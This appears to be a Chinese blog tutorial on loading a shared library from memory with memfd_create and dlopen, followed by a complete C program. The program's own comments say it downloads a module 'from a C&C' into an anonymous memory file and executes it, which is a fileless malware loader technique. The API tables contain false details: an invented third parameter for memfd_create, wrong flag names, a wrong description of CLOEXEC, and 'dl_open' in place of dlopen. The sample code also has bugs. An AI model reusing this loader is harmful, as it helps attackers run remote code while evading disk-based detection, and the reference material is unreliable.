使用memfd的系统调用接口将动态库加载到proc虚拟文件系统,提供的fd为进程持有的句柄,通过dlopen的path指向此句柄,即可实现非文件系统加载动态链接库。
文章目录
- 一、memfd_create
- 二、dl_open
- 三、示例参考
一、memfd_create
接口名称 | int memfd_create(const char *name, unsigned int flags, unsigned int mode) |
---|---|
场景描述 | memfd_create() 函数用于创建一个内存文件描述符,该文件描述符指向一个内存区域。 |
输入参数 | name :内存区域的名称。如果为空字符串,则内存区域将没有名称。flags :内存区域的标志。 MEMFD_CLOEXEC :在文件描述符关闭时,该内存区域也会被自动释放。MEMFD_ALLOW_SEALING :允许将内存区域密封。mode :内存区域的权限。 |
输出参数 | 函数返回一个文件描述符,该文件描述符指向内存区域。如果创建内存区域失败,则返回 -1 ,并设置 errno 为错误码。 |
备注 | 如果 flags 参数设置为 MEMFD_CLOEXEC ,则在文件描述符关闭时,该内存区域也会被自动释放。 |
二、dl_open
|dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。
接口名称 | void *dl_open(const char *filename, int mode) |
---|---|
场景描述 | dl_open() 函数用于打开一个动态链接库。它返回一个指向动态链接库句柄的指针,该柄可以用于访问动态链接库中的符号。 |
输入参数 | filename :动态链接库的文件名。mode :动态链接库的打开模式。RTLD_LAZY :延迟解析动态链接库中的符号。 RTLD_NOW :立即解析动态链接库中的符号。 RTLD_GLOBAL :将动态链接库中的符号导出到全局符号表中。RTLD_LOCAL :将动态链接库中的符号导出到局部符号中。 |
输出参数 | 函数返回一个指向动态链接库句柄的指针,该句柄可以用于访问动态链接库中的符号。如果打开动态链接库失败,则返回 NULL 。 |
备注 | 无 |
三、示例参考
#define _GNU_SOURCE
#include <curl/curl.h>
#include <dlfcn.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/utsname.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h> /* For mode constants */
#include <fcntl.h> /* For O_* constants */
#include <errno.h>
#define SHM_NAME "IceIceBaby"
// Wrapper to call memfd_create syscall
inline int memfd_create(const char *name, unsigned int flags) {
return syscall(__NR_memfd_create, name, flags);
}
// Returns a file descriptor where we can write our shared object
int open_ramfs(void) {
int shm_fd;
shm_fd = memfd_create(SHM_NAME, 1);
if (shm_fd < 0) { //Something went wrong :(
fprintf(stderr, "[- Could not open file descriptor\n");
exit(-1);
}
return shm_fd;
}
// Callback to write the shared object
size_t write_data (void *ptr, size_t size, size_t nmemb, int shm_fd) {
if (write(shm_fd, ptr, nmemb) < 0) {
fprintf(stderr, "[-] Could not write file :'(\n");
close(shm_fd);
exit(-1);
}
printf("[+] File written!\n");
}
// Download our share object from a C&C via HTTPs
int download_to_RAM(char *download) {
CURL *curl;
CURLcode res;
int shm_fd;
shm_fd = open_ramfs(); // Give me a file descriptor to memory
printf("[+] File Descriptor Shared Memory created, used by memfd_create\n");
curl = curl_easy_init();
if (curl) {
curl_easy_setopt(curl, CURLOPT_URL, download);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, shm_fd); //Args for our callback
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); //Callback
// Do the HTTPs request!
res = curl_easy_perform(curl);
curl_easy_cleanup(curl);
return shm_fd;
}
}
// Load the shared object
void load_so(int shm_fd) {
char path[1024];
void *handle;
printf("[+] Trying to load Shared Object!\n");
snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);
handle = dlopen(path, RTLD_LAZY);
if (!handle) {
fprintf(stderr,"[-] Dlopen failed with error: %s - %s\n", dlerror(), strerror(errno));
}
}
int main (int argc, char **argv) {
char *url = "http://127.0.0.1:8000/module1.so";
int fd;
printf("[+] Trying to reach C&C & start download...\n");
fd = download_to_RAM(url);
load_so(fd);
exit(0);
}